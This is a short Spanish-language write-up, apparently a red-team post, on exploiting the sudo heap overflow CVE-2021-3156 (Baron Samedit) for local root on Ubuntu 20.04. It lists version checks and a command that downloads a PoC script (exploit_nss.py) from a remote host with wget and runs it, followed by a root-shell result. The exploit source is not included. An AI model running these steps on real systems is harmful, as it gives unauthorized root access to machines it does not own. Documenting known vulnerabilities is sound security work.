👑 CVE-2021-3156 (Baron Samedit) — Escalada de Privilegios mediante Desbordamiento de Heap en sudo

📅 Fecha: 2025-06-08
✍️ Autor: @TopskiyPavelQwertyGang 🧠 Investigador de Seguridad | Entusiasta del Red Team

🧠 Resumen del CVE

• CVE-ID: CVE-2021-3156
• Tipo: Desbordamiento de Búfer basado en Heap
• Componente: sudoedit (sudo)
• Nivel de acceso: Local
• Objetivo: Obtener privilegios de root

🧠 Descripción

El desbordamiento de heap en sudoedit permite a un usuario local obtener acceso root
al ejecutar el comando sudoedit con parámetros preparados de antemano.

La explotación es efectiva en versiones de sudo < 1.9.5p2, incluidas las imágenes populares de Ubuntu/Debian/CentOS.
Incluso con ASLR habilitado, la vulnerabilidad sigue siendo explotable.

🐾 Condiciones de explotación

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (vulnerable)
ASLR   : 2 (habilitado)

🧪 Preparación del entorno

1. Se verificaron las versiones de glibc y sudo:

ldd --version
sudo --version

2. Los scripts PoC se transfirieron desde otra máquina mediante un servidor HTTP integrado:

python3 -m http.server 80

3. En la máquina objetivo, los PoC se descargan y ejecutan:

wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

🚀 Explotación exitosa del PoC

$ python3 exploit_nss.py
# whoami
root

🧾 Conclusión

La explotación de CVE-2021-3156 sigue siendo posible incluso con ASLR activo, si glibc ≥ 2.26 y sudo está en una versión vulnerable.
El exploit más estable resultó ser exploit_nss.py, que funciona a la primera con una configuración NSS correcta.

🧨 Sistema bajo control.